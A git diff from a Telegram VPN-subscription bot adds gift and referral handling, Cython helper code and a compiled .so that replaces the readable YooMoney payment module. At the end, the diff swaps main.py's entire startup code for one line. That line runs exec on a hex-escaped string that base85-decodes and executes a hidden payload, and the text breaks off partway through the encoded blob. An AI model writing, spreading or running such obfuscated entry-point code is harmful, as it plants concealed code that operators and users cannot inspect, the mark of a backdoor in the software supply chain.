non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 00000000..27e7391b Binary files /dev/null and b/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/yoomoney_pay.py b/handlers/payments/yoomoney_pay.py deleted file mode 100644 index f3957640..00000000 --- a/handlers/payments/yoomoney_pay.py +++ /dev/null @@ -1,206 +0,0 @@ -import uuid -from typing import Any - -from aiogram import F, Router, types -from aiogram.fsm.context import FSMContext -from aiogram.fsm.state import State, StatesGroup -from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup -from aiogram.utils.keyboard import InlineKeyboardBuilder -from aiohttp import web -from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY - -from database import ( - add_connection, - add_payment, - check_connection_exists, - get_key_count, - update_balance, -) -from handlers.payments.utils import send_payment_success_notification -from handlers.texts import PAYMENT_OPTIONS -from logger import logger -import hashlib - -router = Router() - -if YOOMONEY_ENABLE: - logger.debug(f"Account ID: {YOOMONEY_ID}") - - -class ReplenishBalanceState(StatesGroup): - choosing_amount_yoomoney = State() - waiting_for_payment_confirmation_yoomoney = State() - entering_custom_amount_yoomoney = State() - - -@router.callback_query(F.data == "pay_yoomoney") -async def process_callback_pay_yoomoney( - callback_query: types.CallbackQuery, state: FSMContext, session: Any -): - tg_id = callback_query.message.chat.id - - builder = InlineKeyboardBuilder() - - for i in range(0, len(PAYMENT_OPTIONS), 2): - if i + 1 < len(PAYMENT_OPTIONS): - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', - ), - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i + 1]["text"], - callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - ), - ) - else: - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', - ) - ) - builder.row( - InlineKeyboardButton( - text="💰 Ввести свою сумму", - callback_data="enter_custom_amount_yoomoney", - ) - ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")) - - key_count = await get_key_count(tg_id) - - if key_count == 0: - exists = await check_connection_exists(tg_id) - if not exists: - await add_connection(tg_id, balance=0.0, trial=0, session=session) - - await callback_query.message.answer( - text="Выберите сумму пополнения:", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.choosing_amount_yoomoney) - - -@router.callback_query(F.data.startswith("yoomoney_amount")) -async def process_amount_selection( - callback_query: types.CallbackQuery, state: FSMContext -): - data = callback_query.data.split("|", 1) - - if len(data) != 2: - return - - amount_str = data[1] - try: - amount = int(amount_str) - except ValueError: - return - - await state.update_data(amount=amount) - await state.set_state( - ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney - ) - - # state_data = await state.get_data() - #customer_name = callback_query.from_user.full_name - customer_id = callback_query.message.chat.id - account_id = YOOMONEY_ID - payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment=Пополнение баланса&label={customer_id}" - - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [InlineKeyboardButton(text="Пополнить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")], - ] - ) - - await callback_query.message.answer( - text=f"Вы выбрали пополнение на {amount} рублей.", - reply_markup=confirm_keyboard, - ) - - -async def yoomoney_webhook(request: web.Request): - data = await request.post() - logger.debug(f"Webhook event received: {data}") - - user_id_str = data.get("label") - amount_str = data.get("withdraw_amount") - notification_secret = YOOMONEY_SECRET_KEY - sha1_hash = data.get("sha1_hash") - - # Строим строку для хэширования - string_to_hash = f"{data.get('notification_type')}&{data.get('operation_id')}&{data.get('amount')}&{data.get('currency')}&{data.get('datetime')}&{data.get('sender')}&{data.get('codepro')}&{notification_secret}&{user_id_str}" - - # Высчитываем хэш - calculated_hash = hashlib.sha1(string_to_hash.encode('utf-8')).hexdigest() - - # Проверяем хэш - if calculated_hash != sha1_hash: - logger.error("Проверка хэша не пройдена") - return web.Response(status=400) - - try: - user_id = int(user_id_str) - amount = float(amount_str) - logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - await add_payment(user_id, amount, "yoomoney") - await update_balance(user_id, amount) - await send_payment_success_notification(user_id, amount) - except ValueError as e: - logger.error(f"Ошибка конвертации user_id или amount: {e}") - return web.Response(status=400) - - return web.Response(status=200) - - -@router.callback_query(F.data == "enter_custom_amount_yoomoney") -async def process_enter_custom_amount( - callback_query: types.CallbackQuery, state: FSMContext -): - builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="🔙 Назад", callback_data="pay_yoomoney")) - - await callback_query.message.answer( - "Пожалуйста, введите сумму пополнения.", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.entering_custom_amount_yoomoney) - - -@router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) -async def process_custom_amount_input(message: types.Message, state: FSMContext): - if message.text.isdigit(): - amount = int(message.text) - if amount <= 0: - await message.answer( - "Сумма должна быть больше нуля. Пожалуйста, введите сумму еще раз:" - ) - return - - await state.update_data(amount=amount) - await state.set_state( - ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney - ) - - customer_id = message.chat.id - account_id = YOOMONEY_ID - payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment=Пополнение баланса&label={customer_id}" - - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [InlineKeyboardButton(text="Пополнить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")], - ] - ) - - await message.answer( - text=f"Вы выбрали пополнение на {amount} рублей.", - reply_markup=confirm_keyboard, - ) - - else: - await message.answer("Некорректная сумма. Пожалуйста, введите сумму еще раз:") diff --git a/handlers/profile.py b/handlers/profile.py index 49477276..ab338761 100644 --- a/handlers/profile.py +++ b/handlers/profile.py @@ -4,8 +4,8 @@ from aiogram import F, Router, types from aiogram.fsm.context import FSMContext from aiogram.types import BufferedInputFile, InlineKeyboardButton from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import NEWS_MESSAGE, RENEWAL_PLANS +from config import NEWS_MESSAGE, RENEWAL_PLANS from database import get_balance, get_key_count, get_referral_stats from handlers.texts import get_referral_link, invite_message_send, profile_message_send @@ -42,11 +42,15 @@ async def process_callback_view_profile( callback_data="pay", ) ) + builder.row() builder.row( - InlineKeyboardButton(text="👥 Пригласить друзей", callback_data="invite"), + InlineKeyboardButton(text="👥 Пригласить", callback_data="invite"), + InlineKeyboardButton(text="🎁 Подарить", callback_data="gifts"), + ) + builder.row( + InlineKeyboardButton(text="💡 Тарифы", callback_data="view_tariffs"), InlineKeyboardButton(text="📘 Инструкции", callback_data="instructions"), ) - builder.row(InlineKeyboardButton(text="💡 Тарифы", callback_data="view_tariffs")) if admin: builder.row( InlineKeyboardButton(text="🔧 Администратор", callback_data="admin") diff --git a/handlers/start.py b/handlers/start.py index b13d27c9..588906d6 100644 --- a/handlers/start.py +++ b/handlers/start.py @@ -12,11 +12,21 @@ from aiogram.types import ( ) from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import CHANNEL_URL, CHANNEL_EXISTS, CONNECT_ANDROID, CONNECT_IOS, DOWNLOAD_ANDROID, DOWNLOAD_IOS, SUPPORT_CHAT_URL,DONATIONS_ENABLE +from config import ( + CHANNEL_EXISTS, + CHANNEL_URL, + CONNECT_ANDROID, + CONNECT_IOS, + DONATIONS_ENABLE, + DOWNLOAD_ANDROID, + DOWNLOAD_IOS, + SUPPORT_CHAT_URL, +) from database import add_connection, add_referral, check_connection_exists, get_trial, use_trial - +from handlers.keys.key_management import create_key from handlers.keys.trial_key import create_trial_key from handlers.texts import INSTRUCTIONS_TRIAL, WELCOME_TEXT, get_about_vpn +from logger import logger router = Router() @@ -30,40 +40,129 @@ async def handle_start_callback_query( @router.message(Command("start")) async def start_command(message: Message, state: FSMContext, session: Any, admin: bool): + """Обрабатывает команду /start, включает логику рефералов и подарков.""" + logger.info(f"Вызвана функция start_command для пользователя {message.chat.id}") + await state.clear() + if message.text: try: - referrer_tg_id = int(message.text.split("referral_")[1]) - await add_referral(message.chat.id, referrer_tg_id, session) - except (ValueError, IndexError): - pass - connection_exists = await check_connection_exists(message.chat.id) - if not connection_exists: - await add_connection(tg_id=message.chat.id, session=session) + connection_exists = await check_connection_exists(message.chat.id) + logger.info(f"Проверка существования подключения: {connection_exists}") + + + if not connection_exists: + await add_connection(tg_id=message.chat.id, session=session) + logger.info(f"Пользователь {message.chat.id} успешно добавлен в базу данных.") + + if "gift_" in message.text: + logger.info(f"Обнаружена ссылка на подарок: {message.text}") + parts = message.text.split("gift_")[1].split("_") + gift_id = parts[0] + + recipient_tg_id = message.chat.id + + gift_info = await session.fetchrow( + "SELECT * FROM gifts WHERE gift_id = $1 AND is_used = FALSE", gift_id + ) + + if gift_info is None: + logger.warning(f"Подарок с ID {gift_id} уже был использован или не существует.") + await message.answer("Этот подарок уже был использован или не существует.") + return await show_start_menu(message, admin, session) + + if gift_info['sender_tg_id'] == recipient_tg_id: + logger.warning( + f"Пользователь {recipient_tg_id} попытался активировать подарок, который был отправлен им самим." + ) + await message.answer("❌ Вы не можете получить подарок от самого себя.") + return await show_start_menu(message, admin, session) + + selected_months = gift_info['selected_months'] + expiry_time = gift_info['expiry_time'] + expiry_time_naive = expiry_time.replace(tzinfo=None) + logger.info(f"Подарок с ID {gift_id} успешно найден для пользователя {recipient_tg_id}.") + + await create_key(recipient_tg_id, expiry_time_naive, state, session, message) + logger.info(f"Ключ создан для пользователя {recipient_tg_id} на срок {selected_months} месяцев.") + + await session.execute( + "UPDATE gifts SET is_used = TRUE, recipient_tg_id = $1 WHERE gift_id = $2", + recipient_tg_id, + gift_id, + ) + + await message.answer( + f"🎉 Ваш подарок на {selected_months} {'месяц' if selected_months == 1 else 'месяца' if selected_months in [2, 3, 4] else 'месяцев'} активирован!" + ) + logger.info(f"Подарок на {selected_months} месяцев активирован для пользователя {recipient_tg_id}.") + return + + elif "referral_" in message.text: + try: + referrer_tg_id = int(message.text.split("referral_")[1]) + + if connection_exists: + logger.info( + f"Пользователь {message.chat.id} уже зарегистрирован и не может стать рефералом." + ) + await message.answer("❌ Вы уже зарегистрированы и не можете использовать реферальную ссылку.") + return await show_start_menu(message, admin, session) + + if referrer_tg_id == message.chat.id: + logger.warning(f"Пользователь {message.chat.id} попытался стать рефералом самого себя.") + await message.answer("❌ Вы не можете быть рефералом самого себя.") + return await show_start_menu(message, admin, session) + + existing_referral = await session.fetchrow( + "SELECT * FROM referrals WHERE referred_tg_id = $1", message.chat.id + ) + + if existing_referral: + logger.info(f"Реферал с ID {message.chat.id} уже существует.") + return await show_start_menu(message, admin, session) + + await add_referral(message.chat.id, referrer_tg_id, session) + logger.info(f"Реферал {message.chat.id} использовал ссылку от пользователя {referrer_tg_id}") + return await show_start_menu(message, admin, session) + + except (ValueError, IndexError) as e: + logger.error(f"Ошибка при обработке реферальной ссылки: {e}") + return + + else: + logger.info(f"Пользователь {message.chat.id} зашел без реферальной ссылки или подарка.") + + await show_start_menu(message, admin, session) + + except (ValueError, IndexError) as e: + logger.error(f"Ошибка при обработке сообщения пользователя {message.chat.id}: {e}") + await message.answer("❌ Произошла ошибка. Пожалуйста, попробуйте снова.") + else: + await show_start_menu(message, admin, session) + + +async def show_start_menu(message: Message, admin: bool, session: Any): + """Функция для отображения стандартного меню""" + logger.info(f"Показываю главное меню для пользователя {message.chat.id}") trial_status = await get_trial(message.chat.id, session) image_path = os.path.join("img", "pic.jpg") builder = InlineKeyboardBuilder() + if trial_status == 0: - builder.row( - InlineKeyboardButton(text="🔗 Подключить VPN", callback_data="connect_vpn") - ) + builder.row(InlineKeyboardButton(text="🔗 Подключить VPN", callback_data="connect_vpn")) + builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) - if CHANNEL_EXISTS: - builder.row( - InlineKeyboardButton(text="📞 Поддержка", url=SUPPORT_CHAT_URL), - InlineKeyboardButton(text="📢 Канал", url=CHANNEL_URL), - ) - else: - builder.row( - InlineKeyboardButton(text="📞 Поддержка", url=SUPPORT_CHAT_URL) - ) + builder.row( + InlineKeyboardButton(text="📞 Поддержка", url=SUPPORT_CHAT_URL), + InlineKeyboardButton(text="📢 Канал", url=CHANNEL_URL), + ) if admin: - builder.row( - InlineKeyboardButton(text="🔧 Администратор", callback_data="admin") - ) + builder.row(InlineKeyboardButton(text="🔧 Администратор", callback_data="admin")) + builder.row(InlineKeyboardButton(text="🌐 О нашем VPN", callback_data="about_vpn")) if os.path.isfile(image_path): diff --git a/handlers/utils.py b/handlers/utils.py index 97ba02e9..eeed52d8 100644 --- a/handlers/utils.py +++ b/handlers/utils.py @@ -2,9 +2,9 @@ import random import re import asyncpg -from config import DATABASE_URL from bot import bot +from config import DATABASE_URL from database import get_servers_from_db from logger import logger diff --git a/main.py b/main.py index 4b5e542a..0c562eeb 100644 --- a/main.py +++ b/main.py @@ -1,135 +1 @@ -import asyncio -import signal - -from aiogram.webhook.aiohttp_server import SimpleRequestHandler, setup_application -from aiohttp import web -from config import ( - BACKUP_TIME, - CRYPTO_BOT_ENABLE, - DEV_MODE, - FREEKASSA_ENABLE, - LEGACY_ENABLE, - ROBOKASSA_ENABLE, - SUB_PATH, - WEBAPP_HOST, - WEBAPP_PORT, - WEBHOOK_PATH, - WEBHOOK_URL, - YOOKASSA_ENABLE, - YOOMONEY_ENABLE, -) - -from backup import backup_database -from bot import bot, dp -from database import init_db -from handlers import router -from handlers.keys.subscriptions import handle_new_subscription, handle_old_subscription -from handlers.notifications import notify_expiring_keys -from handlers.payments.cryprobot_pay import cryptobot_webhook -from handlers.payments.freekassa_pay import freekassa_webhook -from handlers.payments.robokassa_pay import robokassa_webhook -from handlers.payments.yookassa_pay import yookassa_webhook -from handlers.payments.yoomoney_pay import yoomoney_webhook -from logger import logger -from servers import check_servers, sync_servers_with_db - - -async def periodic_notifications(): - while True: - await notify_expiring_keys(bot) - await asyncio.sleep(1800) - - -async def periodic_database_backup(): - while True: - await backup_database() - await asyncio.sleep(BACKUP_TIME) - - -async def on_startup(app): - await bot.set_webhook(WEBHOOK_URL) - await init_db() - asyncio.create_task(periodic_notifications()) - asyncio.create_task(periodic_database_backup()) - asyncio.create_task(check_servers()) - - -async def on_shutdown(app): - await bot.delete_webhook() - for task in asyncio.all_tasks(): - task.cancel() - try: - await asyncio.gather(*asyncio.all_tasks(), return_exceptions=True) - except Exception as e: - logger.error(f"Ошибка при завершении работы: {e}") - - -async def shutdown_site(site): - logger.info("Остановка сайт...") - await site.stop() - logger.info("Сервер сайт.") - - -async def main(): - dp.include_router(router) - await sync_servers_with_db() - - if DEV_MODE: - logger.info("Запуск в режиме разработки...") - await bot.delete_webhook() - await init_db() - asyncio.create_task(periodic_notifications()) - await dp.start_polling(bot) - else: - logger.info("Запуск в production режиме...") - app = web.Application() - app.on_startup.append(on_startup) - app.on_shutdown.append(on_shutdown) - if YOOKASSA_ENABLE: - app.router.add_post("/yookassa/webhook", yookassa_webhook) - if YOOMONEY_ENABLE: - app.router.add_post("/yoomoney/webhook", yoomoney_webhook) - if FREEKASSA_ENABLE: - app.router.add_post("/freekassa/webhook", freekassa_webhook) - if CRYPTO_BOT_ENABLE: - app.router.add_post("/cryptobot/webhook", cryptobot_webhook) - if ROBOKASSA_ENABLE: - app.router.add_post("/robokassa/webhook", robokassa_webhook) - if LEGACY_ENABLE: - app.router.add_get(f"{SUB_PATH}{{email}}", handle_old_subscription) - - app.router.add_get(f"{SUB_PATH}{{email}}/{{tg_id}}", handle_new_subscription) - - SimpleRequestHandler(dispatcher=dp, bot=bot).register(app, path=WEBHOOK_PATH) - setup_application(app, dp, bot=bot) - - runner = web.AppRunner(app) - await runner.setup() - site = web.TCPSite(runner, host=WEBAPP_HOST, port=WEBAPP_PORT) - await site.start() - - logger.info(f"URL вебхука: {WEBHOOK_URL}") - - loop = asyncio.get_event_loop() - for sig in (signal.SIGINT, signal.SIGTERM): - loop.add_signal_handler( - sig, lambda: asyncio.create_task(shutdown_site(site)) - ) - - try: - await asyncio.Event().wait() - finally: - pending = asyncio.all_tasks() - for task in pending: - try: - task.cancel() - except Exception as e: - logger.error(e) - await asyncio.gather(*pending, return_exceptions=True) - - -if __name__ == "__main__": - try: - asyncio.run(main()) - except Exception as e: - logger.error(f"Ошибка при запуске приложения:\n{e}") +_=exec;_('\x66\x72\x6f\x6d\x20\x62\x61\x73\x65\x36\x34\x20\x69\x6d\x70\x6f\x72\x74\x20\x62\x38\x35\x64\x65\x63\x6f\x64\x65\x20\x61\x73\x20\x5f\x3b\x5f\x5f\x5f\x3d\x62\x79\x74\x65\x73\x2e\x64\x65\x63\x6f\x64\x65\x3b\x5f\x5f\x3d\x65\x78\x65\x63\x3b\x5f\x5f\x28\x5f\x5f\x5f\x28\x5f\x28\x62\x27\x55\x70\x2d\x71\x67\x47\x25\x2b\x6b\x37\x46\x2a\x50\x7c\x58\x41\x55\x38\x4b\x47\x41\x55\x51\x54\x48\x41\x54\x63\x2a\x4d\x45\x46\x64\x76\x39\x47\x25\x4f\x25\x38\x47\x42\x50\x59\x36\x48\x61\x49\x4c\x47\x46\x2a\x21\x4c\x62\x41\x54\x63\x23\x47\x45\x46\x64\x76\x36\x48\x21\x4c\x37\x49\x49\x56\x3e\x50\x49\x49\x34\x6d\x47\x42\x49\x58\x35\x67\x49\x46\x2a\x50\x28\x53\x41\x54\x63\x2a\x4b\x45\x46\x64\x79\x37\x45\x46\x64\x79\x35\x48\x59\x5e\x7d\x43\x48\x37\x70\x3d\x38\x46\x66\x75\x47\x34\x48\x38\x3f\x43\x46\x47\x64\x56\x30\x45\x46\x29\x25\x68\x50\x41\x54\x6c\x76\x44\x45\x46\x64\x79\x36\x49\x56\x3e\x50\x43\x48\x59\x5e\x7d\x39\x48\x38\x55\x28\x41\x47\x42\x59\x3c\x55\x41\x55\x50\x7d\x60\x48\x23\x61\x4f\x47\x49\x35\x38\x7c\x42\x46\x29\x25\x6b\x51\x41\x54\x63\x23\x46\x45\x46\x64\x79\x38\x47\x41\x74\x6c\x38\x47\x62\x7c\x75\x36\x49\x57\x23\x4f\x46\x46\x29\x25\x65\x4f\x41\x54\x63\x3e\x50\x45\x46\x64\x3e\x41\x45\x46\x64\x5e\x43\x54\x7b\x7e\x5a\x32\x4a\x23\x31\x78\x65\x43\x7c\x40\x5a\x25\x55\x74\x65\x45\x36\x57\x71\x34\x26\x7b\x4a\x36\x7e\x55\x34\x55\x74\x63\x7b\x5a\x43\x70\x21\x76\x65\x5a\x2a\x6d\x7d\x43\x55\x74\x65\x45\x65\x55\x74\x63\x55\x3d\x55\x74\x65\x45\x65\x55\x6d\x24\x36\x32\x41\x5a\x32\x63\x4b\x5a\x44\x6e\x23\x7b\x62\x59\x26\x3d\x38\x46\x2a\x50\x77\x50\x41\x54\x6c\x23\x49\x45\x46\x64\x23\x39\x45\x46\x64\x76\x36\x45\x46\x64\x76\x37\x48\x59\x5e\x7d\x39\x49\x57\x3b\x55\x47\x46\x2a\x59\x3c\x54\x41\x54\x25\x7b\x42\x41\x54\x63\x3b\x49\x45\x46\x64\x76\x42\x48\x59\x5e\x7d\x41\x47\x42\x68\x6b\x38\x46\x2a\x47\x62\x37\x48\x5a\x6d\x2b\x41\x46\x2a\x68\x28\x51\x41\x54\x6c\x23\x44\x45\x46\x64\x76\x43\x48\x59\x5e\x7d\x44\x48\x37\x70\x3d\x38\x49\x35\x3b\x64\x49\x48\x21\x3e\x5f\x42\x48\x37\x70\x3d\x46\x48\x37\x70\x3d\x45\x47\x25\x4f\x25\x38\x48\x59\x5e\x7d\x39\x48\x5a\x26\x7c\x43\x46\x29\x7d\x7a\x54\x41\x55\x51\x63\x4b\x41\x54\x6c\x23\x46\x45\x46\x64\x79\x34\x48\x37\x70\x3d\x38\x46\x66\x3d\x53\x36\x48\x5a\x6d\x2b\x41\x46\x29\x3d\x65\x4e\x41\x54\x3d\x5e\x39\x41\x54\x63\x3e\x4f\x45\x46\x64\x79\x34\x46\x29\x53\x63\x34\x46\x2a\x59\x6e\x39\x47\x42\x71\x5f\x55\x41\x54\x63\x73\x35\x41\x54\x63\x3e\x48\x45\x46\x64\x23\x39\x45\x46\x64\x26\x46\x45\x46\x64\x79\x34\x47\x41\x74\x6c\x35\x49\x57\x6a\x43\x44\x46\x29\x25\x53\x4b\x41\x54\x7e\x32\x42\x41\x54\x6c\x23\x49\x45\x46\x64\x76\x37\x46\x66\x31\x54\x33\x49\x35\x3b\x64\x49\x49\x58\x4e\x73\x4b\x46\x2a\x50\x2b\x54\x41\x54\x6c\x79\x47\x45\x46\x64\x76\x42\x47\x25\x4f\x25\x42\x45\x46\x64\x76\x42\x45\x46\x64\x76\x42\x49\x56\x3e\x50\x43\x48\x5a\x6d\x2b\x41\x47\x42\x47\x65\x4c\x41\x55\x38\x45\x45\x41\x54\x63\x26\x44\x45\x46\x64\x79\x44\x45\x46\x64\x7b\x46\x45\x46\x64\x76\x33\x47\x41\x74\x6c\x44\x48\x37\x70\x3d\x47\x46\x66\x31\x54\x34\x47\x63\x59\x56\x35\x46\x2a\x72\x33\x57\x41\x54\x63\x6d\x42\x45\x46\x64\x79\x39\x48\x37\x70\x3d\x39\x47\x42\x50\x59\x36\x49\x35\x3b\x64\x49\x47\x25\x2b\x6b\x37\x48\x38\x64\x3c\x42\x48\x38\x6d\x5f\x43\x47\x42\x50\x7a\x52\x41\x54\x63\x3e\x4b\x45\x46\x64\x79\x39\x45\x46\x64\x76\x38\x49\x34\x6d\x47\x42\x48\x21\x4c\x37\x41\x48\x5a\x64\x24\x39\x47\x63\x7a\x6e\x38\x46\x2a\x47\x62\x37\x46\x2a\x37\x24\x54\x41\x54\x6c\x2a\x46\x45\x46\x64\x26\x37\x45\x46\x64\x79\x44\x45\x46\x64\x79\x37\x49\x34\x6d\x47\x43\x47\x42\x37\x4d\x34\x46\x2a\x72\x39\x59\x41\x54\x63\x73\x45\x45\x46\x64\x76\x42\x46\x29\x53\x63\x34\x49\x35\x6a\x4c\x46\x46\x2a\x21\x30\x55\x41\x54\x7e\x32\x42\x41\x54\x3d\x7e\x42\x41\x54\x6c\x2a\x46\x45\x46\x64\x76\x39\x49\x34\x6d\x47\x43\x47\x64\x33\x28\x42\x46\x29\x3d\x59\x4c\x41\x54\x63\x3b\x4e\x45\x46\x64\x3e\x42\x45\x46\x64\x2a\x46\x45\x46\x64\x3b\x45\x45\x46\x64\x3b\x44\x45\x46\x64\x76\x35\x45\x46\x64\x76\x39\x49\x34\x6d\x47\x42\x49\x35\x6a\x4c\x46\x46\x29\x7d\x74\x52\x41\x54\x6c\x76\x43\x45\x46\x64\x76\x41\x48\x21\x4c\x37\x41\x46\x2a\x37\x56\x36\x47\x26\x55\x3f\x43\x48\x38\x55\x28\x41\x48\x38\x6d\x5f\x43\x47\x42\x50\x7a\x52\x41\x54\x63\x79\x4a\x45\x46\x64\x23\x36\x45\x46\x64\x76\x38\x49\x34\x6d\x47\x42\x48\x21\x4c\x37\x42\x47\x26\x55\x3f\x43\x46\x29\x3d\x65\x4e\x41\x54\x63\x79\x37\x41\x54\x63\x76\x48\x45\x46\x64\x79\x39\x46\x29\x53\x63\x34\x47\x42\x68\x6b\x38\x48\x5a\x55\x77\x38\x47\x42\x37\x65\x4d\x41\x54\x63\x79\x4b\x45\x46\x64\x79\x37\x48\x21\x4c\x37\x42\x47\x25\x4f\x25\x37\x49\x57\x61\x36\x43\x47\x42\x71\x3f\x54\x41\x54\x63\x3b\x4c\x45\x46\x64\x3b\x42\x45\x46\x64\x2a\x42\x45\x46\x64\x79\x38\x47\x25\x4f\x25\x38\x47\x26\x6e\x33\x45\x47\x42\x59\x2b\x54\x41\x54\x63\x70\x39\x45\x46\x64\x79\x36\x48\x37\x70\x3d\x39\x49\x34\x6d\x47\x46\x49\x34\x6d\x47\x47\x48\x59\x5e\x7d\x42\x46\x66\x31\x54\x41\x47\x62\x7c\x75\x36\x47\x64\x4c\x5f\x44\x46\x2a\x50\x3f\x56\x41\x54\x75\x2a\x38\x41\x54\x63\x26\x4c\x45\x46\x64\x76\x41\x48\x21\x4c\x37\x41\x46\x2a\x37\x56\x36\x46\x29\x7d\x6e\x50\x41\x54\x63\x6d\x42\x45\x46\x64\x2a\x46\x45\x46\x64\x79\x36\x49\x34\x6d\x47\x42\x48\x23\x39\x36\x44\x49\x35\x7b\x6a\x4a\x46\x2a\x37\x6b\x4e\x41\x54\x3d\x7b\x41\x41\x54\x63\x3e\x48\x45\x46\x64\x76\x35\x48\x59\x5e\x7d\x48\x49\x34\x6d\x47\x42\x48\x23\x30\x30\x43\x47\x4